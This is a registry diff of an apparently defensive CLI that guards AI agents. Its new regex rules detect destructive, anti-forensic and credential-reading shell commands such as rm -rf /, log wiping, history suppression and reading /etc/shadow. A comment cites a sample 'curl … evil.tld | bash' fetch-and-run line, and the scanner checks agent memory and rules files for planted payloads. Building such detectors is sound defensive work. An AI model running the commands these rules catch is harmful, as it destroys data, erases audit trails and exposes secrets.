@shomra/agent 0.3.14 → 0.3.16
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/guard-signals.mjs +105 -3
- package/package.json +1 -1
- package/shomra.mjs +133 -5
package/guard-signals.mjs
CHANGED
|
@@ -72,6 +72,21 @@ export const DANGEROUS_SHELL = [
|
|
|
72
72
|
{ name: 'Command output piped into a network call', re: /\b(curl|wget|invoke-restmethod|invoke-webrequest|irm|iwr)\b[^\n]{0,220}(\$\(|`[^`\n]+`|<\()/i, severity: 'HIGH' },
|
|
73
73
|
{ name: 'Fetches from a raw IP address', re: /\b(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\b[^\n]{0,220}https?:\/\/\d{1,3}(\.\d{1,3}){3}/i, severity: 'HIGH' },
|
|
74
74
|
{ name: 'Writes to shell profile / SSH keys / crontab', re: /(\.bashrc|\.zshrc|\.bash_profile|\.profile|authorized_keys|id_rsa\b|\bcrontab\b)/i, severity: 'HIGH' },
|
|
75
|
+
// World-writable permissions. Byte-identical to the backend rules
|
|
76
|
+
// (bundle/signals.ts) so the offline floor and the server never disagree:
|
|
77
|
+
// `chmod` previously had no command-level rule in EITHER, so `chmod -R 777 /`
|
|
78
|
+
// and `chmod 777 ~/.ssh` passed unscreened. The mode must grant WRITE to
|
|
79
|
+
// others, so `chmod +x` / 755 / 644 stay silent.
|
|
80
|
+
{
|
|
81
|
+
name: 'World-writable permissions on the filesystem root (chmod -R 777 /)',
|
|
82
|
+
re: /\bchmod\b(?=[^\n;|&]*(?:-[a-zA-Z]*R|--recursive))(?=[^\n;|&]*(?:\b0?[0-7][0-7][2367]\b|a\+rwx|a=rwx|o\+w|ugo\+rwx))(?=[^\n;|&]*\s\/(?:\s|\*|$))/i,
|
|
83
|
+
severity: 'CRITICAL',
|
|
84
|
+
},
|
|
85
|
+
{
|
|
86
|
+
name: 'World-writable permissions on a credential or system path (chmod 777)',
|
|
87
|
+
re: /\bchmod\b(?=[^\n;|&]*(?:\b0?[0-7][0-7][2367]\b|a\+rwx|a=rwx|o\+w|ugo\+rwx))(?=[^\n;|&]*(?:~(?:\s|$|\/\.)|\$HOME\b|\/etc\b|\/root\b|\/usr\b|\/var\b|\/boot\b|\.ssh\b|id_rsa\b|authorized_keys\b|\.aws\b|\.gnupg\b|\.kube\b))/i,
|
|
88
|
+
severity: 'HIGH',
|
|
89
|
+
},
|
|
75
90
|
{ name: 'Recursive force delete (rm -rf)', re: /\brm\s+-[a-z]*r[a-z]*f|\brm\s+-[a-z]*f[a-z]*r/i, severity: 'HIGH', refine: rmTargetsRealData },
|
|
76
91
|
// BARE `eval(`/`exec(` only — the lookbehind drops anything that merely ENDS in
|
|
77
92
|
// those letters: method calls (`db.exec(`, `RE.exec(`, `page.$eval(`, `$pdo->exec(`)
|
|
@@ -84,6 +99,33 @@ export const DANGEROUS_SHELL = [
|
|
|
84
99
|
{ name: 'python -c one-liner', re: /python[0-9.]*\s+-c\b/i, severity: 'MEDIUM' },
|
|
85
100
|
{ name: 'node -e one-liner', re: /\bnode\s+-e\b/i, severity: 'MEDIUM' },
|
|
86
101
|
{ name: 'Netcat / socket exfil', re: /\bnc\s+-[a-z]*\b|\bncat\b/i, severity: 'MEDIUM' },
|
|
102
|
+
// ⚠ ANTI-FORENSICS + DESTRUCTIVE INFRA — ported byte-identical from the backend
|
|
103
|
+
// (bundle/signals.ts). These eight had NO mirror counterpart, so the offline
|
|
104
|
+
// floor was silent on log-wiping, history-clearing, `terraform destroy
|
|
105
|
+
// -auto-approve`, bucket deletion and force-push over main. That is the
|
|
106
|
+
// "mirror LOOSER than server" direction: a hole in exactly the conditions
|
|
107
|
+
// Tier-0 exists for — backend unreachable, unenrolled, network blocked — which
|
|
108
|
+
// is also when an attacker most wants the audit trail gone. The parity bench
|
|
109
|
+
// now asserts SET COMPLETENESS, not just agreement on its samples.
|
|
110
|
+
{ name: 'Clears recorded shell history (anti-forensics)', re: /\bhistory\s+-c\b|\brm\b[^\n]{0,30}\.(bash|zsh|sh)_history\b|>\s*\S{0,30}\.(bash|zsh|sh)_history\b/i, severity: 'MEDIUM' },
|
|
111
|
+
{ name: 'Suppresses shell-history recording (anti-forensics)', re: /\bln\s+-s\S*\s+\/dev\/null\s+\S{0,40}\.(bash_|zsh_|sh_)?history\b|\bHISTFILE=\/dev\/null\b|\bunset\s+HISTFILE\b|\bexport\s+HIST(SIZE|FILESIZE)=0\b|\bset\s+\+o\s+history\b/i, severity: 'MEDIUM' },
|
|
112
|
+
{ name: 'Truncates a security / audit log (anti-forensics)', re: />\s*(\/var\/log\/(audit|secure|auth\.log|wtmp|btmp|lastlog|syslog|messages)|\/var\/(run|log)\/(wtmp|btmp|utmp))\b/i, severity: 'HIGH' },
|
|
113
|
+
{ name: 'Vacuums the systemd journal to erase records (anti-forensics)', re: /\bjournalctl\b[^\n]{0,40}--vacuum-(time|size)=/i, severity: 'MEDIUM' },
|
|
114
|
+
{ name: 'Wipes audit / security / login logs (anti-forensics)', re: /\b(rm|shred|unlink|truncate)\b[^\n]{0,60}(\/var\/log\/(audit|secure|auth\.log|wtmp|btmp|lastlog|syslog|messages|faillog|tallylog)|\/var\/(run|log)\/(wtmp|btmp|utmp))\b/i, severity: 'HIGH' },
|
|
115
|
+
{ name: 'Destroys managed infrastructure without confirmation (terraform destroy -auto-approve)', re: /\bterraform\b[^\n]{0,120}\bdestroy\b[^\n]{0,120}(-auto-approve|--auto-approve)/i, severity: 'HIGH' },
|
|
116
|
+
{ name: 'Force-deletes a cloud storage bucket (aws s3 rb --force)', re: /\b(aws\s+s3\s+rb|gsutil\s+(rm\s+-r|rb)|az\s+storage\s+(account|container)\s+delete)\b[^\n]{0,80}(--force|--yes|-f\b|\bs3:\/\/|\bgs:\/\/)/i, severity: 'HIGH' },
|
|
117
|
+
{ name: 'Force-pushes over a protected branch (rewrites shared history)', re: /\bgit\s+push\b[^\n]{0,80}(--force\b(?!-with-lease)|(?:^|\s)-f\b)[^\n]{0,60}\b(main|master|release|prod(uction)?)\b/i, severity: 'MEDIUM' },
|
|
118
|
+
// Destruction + credential + control-plane detectors, also byte-identical.
|
|
119
|
+
// ⚠ The root-wipe tier is CRITICAL and must be its own rule: the consolidated
|
|
120
|
+
// `rm -rf` rule below grades HIGH, and HIGH only flags where CRITICAL blocks —
|
|
121
|
+
// so `rm -rf /` was screened one severity short of a block offline.
|
|
122
|
+
{ name: 'Recursive force delete of the filesystem root (rm -rf /, --no-preserve-root)', re: /\brm\b(?=[^\n;|&]*(?:-[a-zA-Z]*r|--recursive))(?=[^\n;|&]*(?:-[a-zA-Z]*f|--force))(?=[^\n;|&]*(?:--no-preserve-root|\s\/(?:\s|\*|$)))/i, severity: 'CRITICAL' },
|
|
123
|
+
{ name: 'Fork bomb (process-exhaustion DoS)', re: /(:|\b[a-z_][a-z0-9_]*)\s*\(\s*\)\s*\{\s*\1\s*[^\n}]*\|\s*\1[^\n}]*&\s*\}\s*;\s*\1/i, severity: 'HIGH' },
|
|
124
|
+
{ name: 'Writes over a raw disk device (data destruction)', re: /\b(dd\b[^\n]{0,80}\bof=\/dev\/[sh]d|mkfs(\.\w+)?\s+[^\n]{0,40}\/dev\/|>\s*\/dev\/[sh]d[a-z])/i, severity: 'CRITICAL' },
|
|
125
|
+
{ name: 'Reads the system password-hash / sudo policy file', re: /\b(cat|less|more|head|tail|strings|xxd|od|grep|awk|sed|cp|scp|tar)\b[^\n]{0,80}\/etc\/(shadow|gshadow|sudoers(\.d)?)\b/i, severity: 'HIGH' },
|
|
126
|
+
{ name: 'Deletes a Kubernetes namespace / workload', re: /\bkubectl\b[^\n]{0,80}\bdelete\b[^\n]{0,80}\b(namespace|ns|deployment|statefulset|pvc|persistentvolumeclaim)\b/i, severity: 'MEDIUM' },
|
|
127
|
+
{ name: 'Drops a database / schema', re: /\bdrop\s+(database|schema|table)\b/i, severity: 'MEDIUM' },
|
|
128
|
+
{ name: 'Disables the audit / logging subsystem', re: /\b(systemctl|service)\s+(stop|disable|mask)\s+\S{0,20}(auditd|rsyslog|syslog|systemd-journald|journald)\b|\bauditctl\s+(-e\s*0|-D)\b|\bsetenforce\s+0\b|\bsystemctl\s+(stop|disable|mask)\s+firewalld\b/i, severity: 'HIGH' },
|
|
87
129
|
];
|
|
88
130
|
|
|
89
131
|
// ── injection ──
|
|
@@ -810,6 +852,49 @@ function isDescriptiveLine(line) {
|
|
|
810
852
|
return DESCRIPTIVE_MARKERS.test(line) && !IMPERATIVE.test(line);
|
|
811
853
|
}
|
|
812
854
|
|
|
855
|
+
// ── documentation guard ──
|
|
856
|
+
// Mirrors backend checks/prose-context.ts#isDocumentationLine. ⚠ The backend has
|
|
857
|
+
// applied this to its shell scan for months and the mirror never did, so the
|
|
858
|
+
// OFFLINE floor was STRICTER than the server — the asymmetric drift direction
|
|
859
|
+
// local-mirror-bench exists to catch, and the one with no recourse: a security-
|
|
860
|
+
// conscious CLAUDE.md that merely CITES `curl … | sh` was blocked at CRITICAL on
|
|
861
|
+
// the developer's machine, with "treat the writer as untrusted".
|
|
862
|
+
const ELLIPSIS_RE = /…|\.\.\./;
|
|
863
|
+
const REGEX_PATTERN_RE = /\\[sdwbSDWB]|\\\+|\\\*|\\\(|\\\||\(\?:|\.\*|\.\+/;
|
|
864
|
+
const CREDENTIAL_PATH_RE =
|
|
865
|
+
/~\/\.(ssh|aws|kube|gnupg|docker|npmrc?)\b|\bid_(rsa|ed25519|dsa)\b|\.pem\b|\bcredentials\b\s*(file)?|\bAWS_SECRET|\bANTHROPIC_API_KEY\b|\bOPENAI_API_KEY\b/i;
|
|
866
|
+
// ⚠ The line between a citation and a payload: `curl … | sh` NAMES the shape,
|
|
867
|
+
// `curl -fsSL https://evil.tld/i.sh | bash` PERFORMS it. Backticks and
|
|
868
|
+
// documentary wording are both free for an attacker to add, so neither may ever
|
|
869
|
+
// suppress a composition carrying a live target.
|
|
870
|
+
const EXECUTABLE_FETCH_RE =
|
|
871
|
+
/\b(?:curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\b[^\n]{0,200}?(?:https?:\/\/|\bwww\.|\b\d{1,3}(?:\.\d{1,3}){3}\b)[^\n]{0,200}?\|\s*(?:sudo\s+)?(?:(?:ba|z|k|da)?sh|python\d?|perl|ruby|node)\b/i;
|
|
872
|
+
|
|
873
|
+
function carriesHardEvidence(line) {
|
|
874
|
+
return CREDENTIAL_PATH_RE.test(line) || EXECUTABLE_FETCH_RE.test(line) || !!egressHost(line);
|
|
875
|
+
}
|
|
876
|
+
|
|
877
|
+
/** True when this line is prose ABOUT a command rather than a command. */
|
|
878
|
+
export function isDocumentationLine(line) {
|
|
879
|
+
if (!line) return false;
|
|
880
|
+
if (carriesHardEvidence(line)) return false;
|
|
881
|
+
if (ELLIPSIS_RE.test(line) || REGEX_PATTERN_RE.test(line)) return true;
|
|
882
|
+
return isDescriptiveLine(line);
|
|
883
|
+
}
|
|
884
|
+
|
|
885
|
+
/** The first line a signal matches that is NOT documentation, else null. */
|
|
886
|
+
function offendingLine(sig, text) {
|
|
887
|
+
const g = new RegExp(sig.re.source, sig.re.flags.includes('g') ? sig.re.flags : sig.re.flags + 'g');
|
|
888
|
+
for (const m of text.matchAll(g)) {
|
|
889
|
+
if (m.index == null) continue;
|
|
890
|
+
const line = lineTextAt(text, m.index);
|
|
891
|
+
if (sig.refine && !sig.refine(line)) continue;
|
|
892
|
+
if (isDocumentationLine(line)) continue;
|
|
893
|
+
return line;
|
|
894
|
+
}
|
|
895
|
+
return null;
|
|
896
|
+
}
|
|
897
|
+
|
|
813
898
|
/**
|
|
814
899
|
* The first line matching `re` that is a genuine directive — NOT a negated
|
|
815
900
|
* hardening rule ("never bypass safety") and NOT descriptive documentation
|
|
@@ -1014,7 +1099,14 @@ export function localMemory(content, { kind = 'MEMORY' } = {}) {
|
|
|
1014
1099
|
|
|
1015
1100
|
// Executable payload / egress sink / lifecycle-hook references have no business
|
|
1016
1101
|
// in a note or rules file.
|
|
1017
|
-
|
|
1102
|
+
// ⚠ Documentation-guarded, like the backend. A rules file DESCRIBING a payload
|
|
1103
|
+
// is not staging one.
|
|
1104
|
+
for (const sig of DANGEROUS_SHELL) {
|
|
1105
|
+
const line = offendingLine(sig, text);
|
|
1106
|
+
if (!line) continue;
|
|
1107
|
+
push(sig.severity === 'MEDIUM' || sig.severity === 'LOW' ? 'HIGH' : 'CRITICAL', `Executable payload staged in ${noun}: ${sig.name}`, `Delete the command from the ${noun}; treat the writer as untrusted.`, line);
|
|
1108
|
+
break;
|
|
1109
|
+
}
|
|
1018
1110
|
const host = egressHost(text);
|
|
1019
1111
|
if (host) push('HIGH', `${isInstruction ? 'Rules file' : 'Memory'} references a data-exfiltration host (${host})`, 'Remove the reference and roll back to the approved baseline.', host);
|
|
1020
1112
|
// Toxic flow: an IMPERATIVE line that names BOTH sensitive data and a network
|
|
@@ -1029,7 +1121,10 @@ export function localMemory(content, { kind = 'MEMORY' } = {}) {
|
|
|
1029
1121
|
if (toxicFlowLine) {
|
|
1030
1122
|
push('HIGH', `Toxic instruction in ${noun}: reads sensitive data + reaches the network`, 'Remove the entry; gate any network step behind explicit approval and an egress allow-list.', toxicFlowLine);
|
|
1031
1123
|
}
|
|
1032
|
-
|
|
1124
|
+
// Per-line + documentation-guarded: "regenerated on `postinstall`/`build`" in a
|
|
1125
|
+
// build-notes paragraph is prose about the toolchain, not a MemoryTrap.
|
|
1126
|
+
const lifecycleLine = text.split(/\r?\n/).find((l) => LIFECYCLE_VECTOR.test(l) && !isDocumentationLine(l));
|
|
1127
|
+
if (lifecycleLine) push('MEDIUM', `${isInstruction ? 'Rules file' : 'Memory'} references a package-lifecycle hook (MemoryTrap vector)`, 'Verify no dependency writes to this store during install; pin dependencies and audit lifecycle scripts.', lifecycleLine);
|
|
1033
1128
|
|
|
1034
1129
|
// Self-reinforcement: the entry arranges its own survival. Graded last and
|
|
1035
1130
|
// scored highest of the non-override signals, because it is the signal that
|
|
@@ -1123,7 +1218,14 @@ export function localGate(content, { kind, path } = {}) {
|
|
|
1123
1218
|
}
|
|
1124
1219
|
|
|
1125
1220
|
// Install-lure prose (Skills / commands / rules that coerce a download+run).
|
|
1126
|
-
|
|
1221
|
+
// Documentation-guarded per line, like the shell scan above: a build-notes
|
|
1222
|
+
// paragraph about re-running a flaky gate is prose, not a lure.
|
|
1223
|
+
for (const l of INSTALL_LURE) {
|
|
1224
|
+
const line = offendingLine(l, content || '');
|
|
1225
|
+
if (!line) continue;
|
|
1226
|
+
push(l.severity, l.name, 'Do not follow instructions that fetch and run out-of-band binaries.', line);
|
|
1227
|
+
break;
|
|
1228
|
+
}
|
|
1127
1229
|
|
|
1128
1230
|
// Over-permissioned tool grants in a Skill / command / subagent.
|
|
1129
1231
|
if (['skill', 'command', 'subagent', 'auto', undefined].includes(kind)) {
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@shomra/agent",
|
|
3
|
-
"version": "0.3.
|
|
3
|
+
"version": "0.3.16",
|
|
4
4
|
"description": "Shomra — adversarial assurance for AI agents, as a local-first CLI. Blocks dangerous tool-calls before they run, attacks your own guardrails to prove they hold, and gates AI artifacts in your editor and CI.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|
package/shomra.mjs
CHANGED
|
@@ -175,12 +175,13 @@ async function api(url, key, route, body, opts = {}) {
|
|
|
175
175
|
const timer = setTimeout(() => ctrl.abort(), timeoutMs);
|
|
176
176
|
let res;
|
|
177
177
|
try {
|
|
178
|
+
const method = opts.method ?? 'POST';
|
|
178
179
|
res = await fetch(`${url}${route}`, {
|
|
179
|
-
method
|
|
180
|
+
method,
|
|
180
181
|
// Connection: close avoids undici keep-alive sockets lingering after the
|
|
181
182
|
// command finishes (which can crash process.exit on Windows).
|
|
182
183
|
headers: { 'Content-Type': 'application/json', 'X-Shomra-Key': key, Connection: 'close' },
|
|
183
|
-
body: JSON.stringify(body),
|
|
184
|
+
...(method === 'GET' ? {} : { body: JSON.stringify(body) }),
|
|
184
185
|
signal: ctrl.signal,
|
|
185
186
|
});
|
|
186
187
|
} catch (e) {
|
|
@@ -219,7 +220,7 @@ const BOOLEAN_FLAGS = new Set([
|
|
|
219
220
|
'apply', 'dry-run', 'global', 'local', 'trailer', 'evolve', 'report', 'init',
|
|
220
221
|
'no-suppress', 'no-baseline', 'no-policy', 'no-index', 'adaptive',
|
|
221
222
|
'fail-on-regression', 'fail-on-blocked', 'write', 'yes', 'stdin', 'quiet', 'help',
|
|
222
|
-
'check', 'checklist', 'pre-receive', 'uninstall', 'save',
|
|
223
|
+
'check', 'checklist', 'pre-receive', 'uninstall', 'save', 'list',
|
|
223
224
|
]);
|
|
224
225
|
// Flags that take a value (`--key value` or `--key=value`).
|
|
225
226
|
const VALUE_FLAGS = new Set([
|
|
@@ -232,8 +233,23 @@ const VALUE_FLAGS = new Set([
|
|
|
232
233
|
'fail-on',
|
|
233
234
|
// `shomra design --save --subject KIND:id` — pin the analysis to a subject.
|
|
234
235
|
'subject', 'title', 'note', 'actor',
|
|
236
|
+
// `shomra run <playbook> --input key=value` — repeatable, see REPEATABLE_FLAGS.
|
|
237
|
+
'input',
|
|
235
238
|
]);
|
|
236
239
|
const KNOWN_FLAGS = new Set([...BOOLEAN_FLAGS, ...VALUE_FLAGS]);
|
|
240
|
+
// ⚠ Flags that ACCUMULATE instead of overwriting. Everything else keeps the
|
|
241
|
+
// last value; a playbook takes several inputs, and silently dropping all but
|
|
242
|
+
// the last one would run it on defaults nobody asked for.
|
|
243
|
+
const REPEATABLE_FLAGS = new Set(['input']);
|
|
244
|
+
|
|
245
|
+
function setFlag(flags, name, value) {
|
|
246
|
+
if (!REPEATABLE_FLAGS.has(name)) {
|
|
247
|
+
flags[name] = value;
|
|
248
|
+
return;
|
|
249
|
+
}
|
|
250
|
+
const prev = flags[name];
|
|
251
|
+
flags[name] = prev === undefined ? value : [].concat(prev, value);
|
|
252
|
+
}
|
|
237
253
|
|
|
238
254
|
function parseFlags(argv) {
|
|
239
255
|
const flags = {};
|
|
@@ -249,7 +265,7 @@ function parseFlags(argv) {
|
|
|
249
265
|
if (eq !== -1) {
|
|
250
266
|
const name = body.slice(0, eq);
|
|
251
267
|
if (!KNOWN_FLAGS.has(name)) unknown.push(name);
|
|
252
|
-
flags
|
|
268
|
+
setFlag(flags, name, body.slice(eq + 1));
|
|
253
269
|
continue;
|
|
254
270
|
}
|
|
255
271
|
if (!KNOWN_FLAGS.has(body)) {
|
|
@@ -263,7 +279,7 @@ function parseFlags(argv) {
|
|
|
263
279
|
}
|
|
264
280
|
const next = argv[i + 1];
|
|
265
281
|
if (next !== undefined && !next.startsWith('--')) {
|
|
266
|
-
flags
|
|
282
|
+
setFlag(flags, body, next);
|
|
267
283
|
i++;
|
|
268
284
|
} else flags[body] = true;
|
|
269
285
|
} else positional.push(a);
|
|
@@ -2730,6 +2746,114 @@ async function cmdMemoryScan(flags, positional) {
|
|
|
2730
2746
|
// `--min <resilience>` and/or `--fail-on-regression`. Exit: 0 = pass,
|
|
2731
2747
|
// 2 = below the resilience floor or a regression appeared.
|
|
2732
2748
|
|
|
2749
|
+
// ── playbooks: the whole assurance loop as ONE command ────────────────────
|
|
2750
|
+
//
|
|
2751
|
+
// `pre-release` and `agent-release-check` were written to be run by a pipeline
|
|
2752
|
+
// and had no client — the backend has carried an API-key controller for exactly
|
|
2753
|
+
// this since the engine shipped. Exit code is the product: a failed `gate` step
|
|
2754
|
+
// comes back FAILED, and that is the assertion holding, not a broken run.
|
|
2755
|
+
|
|
2756
|
+
const STEP_MARK = { SUCCESS: () => green('✓'), FAILED: () => red('✗'), SKIPPED: () => dim('–'), RUNNING: () => cyan('•'), PENDING: () => dim('·') };
|
|
2757
|
+
|
|
2758
|
+
async function cmdRun(flags, positional) {
|
|
2759
|
+
const id = positional[0];
|
|
2760
|
+
|
|
2761
|
+
/**
|
|
2762
|
+
* ⚠ USAGE BEFORE ENROLMENT. A malformed `--input` is a typo the caller can
|
|
2763
|
+
* fix without a key, and answering it with "not configured" sends them to
|
|
2764
|
+
* the wrong problem.
|
|
2765
|
+
*
|
|
2766
|
+
* --input k=v, repeatable. Numbers and booleans keep their type, because a
|
|
2767
|
+
* threshold arriving as "80" is not the same argument.
|
|
2768
|
+
*/
|
|
2769
|
+
const inputs = {};
|
|
2770
|
+
for (const raw of [].concat(flags.input ?? [])) {
|
|
2771
|
+
const eq = String(raw).indexOf('=');
|
|
2772
|
+
if (eq < 0) {
|
|
2773
|
+
console.error(` ${red('✗')} --input expects key=value (got ${JSON.stringify(raw)})\n`);
|
|
2774
|
+
process.exit(EXIT_USAGE);
|
|
2775
|
+
}
|
|
2776
|
+
const k = String(raw).slice(0, eq).trim();
|
|
2777
|
+
const v = String(raw).slice(eq + 1);
|
|
2778
|
+
inputs[k] = v === 'true' ? true : v === 'false' ? false : /^-?\d+(\.\d+)?$/.test(v) ? Number(v) : v;
|
|
2779
|
+
}
|
|
2780
|
+
|
|
2781
|
+
const cfg = loadConfig();
|
|
2782
|
+
const { apiKey, url } = resolveSettings(cfg);
|
|
2783
|
+
if (!apiKey) exitNotConfigured();
|
|
2784
|
+
|
|
2785
|
+
if (!id || flags.list) {
|
|
2786
|
+
let catalog;
|
|
2787
|
+
try {
|
|
2788
|
+
catalog = await api(url, apiKey, '/playbooks/agent/catalog', null, { method: 'GET' });
|
|
2789
|
+
} catch (e) {
|
|
2790
|
+
console.error(` ${red('✗')} ${e.message}\n`);
|
|
2791
|
+
process.exit(1);
|
|
2792
|
+
}
|
|
2793
|
+
if (flags.json) {
|
|
2794
|
+
console.log(JSON.stringify(catalog, null, 2));
|
|
2795
|
+
return;
|
|
2796
|
+
}
|
|
2797
|
+
console.log(`\n ${bold('Playbooks')} ${dim('— run one end-to-end, exit non-zero when a gate holds')}\n`);
|
|
2798
|
+
for (const p of catalog) {
|
|
2799
|
+
console.log(` ${cyan(p.id)} ${dim(`v${p.version} · ${p.steps.length} steps`)}`);
|
|
2800
|
+
console.log(` ${p.name}`);
|
|
2801
|
+
const required = Object.entries(p.inputs || {}).filter(([, d]) => d.required).map(([k]) => k);
|
|
2802
|
+
if (required.length) console.log(` ${dim('needs')} ${required.map((k) => bold(k)).join(', ')}`);
|
|
2803
|
+
console.log('');
|
|
2804
|
+
}
|
|
2805
|
+
console.log(dim(` Run one: ${bold('shomra run <id> --input key=value')}\n`));
|
|
2806
|
+
if (!id) process.exitCode = EXIT_USAGE;
|
|
2807
|
+
return;
|
|
2808
|
+
}
|
|
2809
|
+
|
|
2810
|
+
if (!flags.json) process.stdout.write(dim(`\n Running ${bold(id)}… `));
|
|
2811
|
+
let run;
|
|
2812
|
+
try {
|
|
2813
|
+
run = await api(url, apiKey, `/playbooks/agent/${encodeURIComponent(id)}/run`, {
|
|
2814
|
+
inputs,
|
|
2815
|
+
...(flags.project ? { projectId: String(flags.project) } : {}),
|
|
2816
|
+
actor: `${os.hostname()}/${os.userInfo().username}`,
|
|
2817
|
+
});
|
|
2818
|
+
} catch (e) {
|
|
2819
|
+
if (!flags.json) console.log(red('failed'));
|
|
2820
|
+
console.error(` ${red('✗')} ${e.message}\n`);
|
|
2821
|
+
process.exit(1);
|
|
2822
|
+
}
|
|
2823
|
+
if (!flags.json) console.log(green('done'));
|
|
2824
|
+
|
|
2825
|
+
if (flags.json) {
|
|
2826
|
+
console.log(JSON.stringify(run, null, 2));
|
|
2827
|
+
} else {
|
|
2828
|
+
console.log(`\n ${bold(run.playbookName)} ${dim(`· ${run.playbookId}`)}\n`);
|
|
2829
|
+
for (const s of run.steps || []) {
|
|
2830
|
+
const mark = (STEP_MARK[s.status] || STEP_MARK.PENDING)();
|
|
2831
|
+
// ⚠ SKIPPED is stated as its own thing. A step whose condition was false
|
|
2832
|
+
// did not run, and printing it as a pass claims work nothing did.
|
|
2833
|
+
const note =
|
|
2834
|
+
s.status === 'SKIPPED'
|
|
2835
|
+
? dim('skipped — its condition was false')
|
|
2836
|
+
: s.error
|
|
2837
|
+
? (s.uses === 'gate' ? yellow(s.error) : red(s.error))
|
|
2838
|
+
: '';
|
|
2839
|
+
console.log(` ${mark} ${s.name}${note ? ' ' + dim('·') + ' ' + note : ''}`);
|
|
2840
|
+
}
|
|
2841
|
+
const failedStep = (run.steps || []).find((s) => s.status === 'FAILED');
|
|
2842
|
+
const gateHeld = run.status === 'FAILED' && failedStep?.uses === 'gate';
|
|
2843
|
+
console.log('');
|
|
2844
|
+
if (run.status === 'FAILED' && gateHeld) {
|
|
2845
|
+
console.log(` ${yellow('⚠')} ${bold('The gate held.')} ${dim('That is the assertion firing — exiting non-zero.')}\n`);
|
|
2846
|
+
} else if (run.status === 'FAILED') {
|
|
2847
|
+
console.log(` ${red('✗')} ${bold('A step failed.')} ${dim(run.error || '')}\n`);
|
|
2848
|
+
} else {
|
|
2849
|
+
console.log(` ${green('✓')} ${bold('Completed.')} ${dim('Every step that was meant to run did.')}\n`);
|
|
2850
|
+
}
|
|
2851
|
+
}
|
|
2852
|
+
|
|
2853
|
+
// The exit code IS the feature: a pipeline gates on this.
|
|
2854
|
+
if (run.status === 'FAILED') process.exitCode = 1;
|
|
2855
|
+
}
|
|
2856
|
+
|
|
2733
2857
|
async function cmdRedteam(flags) {
|
|
2734
2858
|
const cfg = loadConfig();
|
|
2735
2859
|
const { apiKey, url } = resolveSettings(cfg);
|
|
@@ -6652,6 +6776,9 @@ ${bold('COMMANDS')}
|
|
|
6652
6776
|
${cyan('scan')} Discover AI tooling on this machine ${dim('[--report] [--json] [--path <dir>]')}
|
|
6653
6777
|
${cyan('report')} Discover + send inventory to your Shomra org ${dim('(alias: scan --report) [--json]')}
|
|
6654
6778
|
${cyan('status')} Show config, enrollment + firewall health
|
|
6779
|
+
${cyan('run')} ${bold('Run a whole assurance playbook')} ${dim('<id> [--input k=v]… [--project <id>] [--json] · --list for the catalog')}
|
|
6780
|
+
${dim('scan → red-team → harden → compliance → gate, as one command. Exits')}
|
|
6781
|
+
${dim('non-zero when a gate holds, so a pipeline can block the release.')}
|
|
6655
6782
|
|
|
6656
6783
|
${dim('Setup — run once per machine / repo')}
|
|
6657
6784
|
${cyan('init')} Configure + enroll this machine ${dim('--key shm_live_… [--url <backend>]')}
|
|
@@ -6900,6 +7027,7 @@ const COMMANDS = {
|
|
|
6900
7027
|
scan: (f) => cmdScan(f),
|
|
6901
7028
|
report: (f) => cmdScan({ ...f, report: true }),
|
|
6902
7029
|
gate: (f, p) => cmdGate(f, p),
|
|
7030
|
+
run: (f, p) => cmdRun(f, p),
|
|
6903
7031
|
check: (f, p) => cmdCheck(f, p),
|
|
6904
7032
|
pr: (f, p) => cmdPr(f, p),
|
|
6905
7033
|
baseline: (f, p) => cmdBaseline(f, p),
|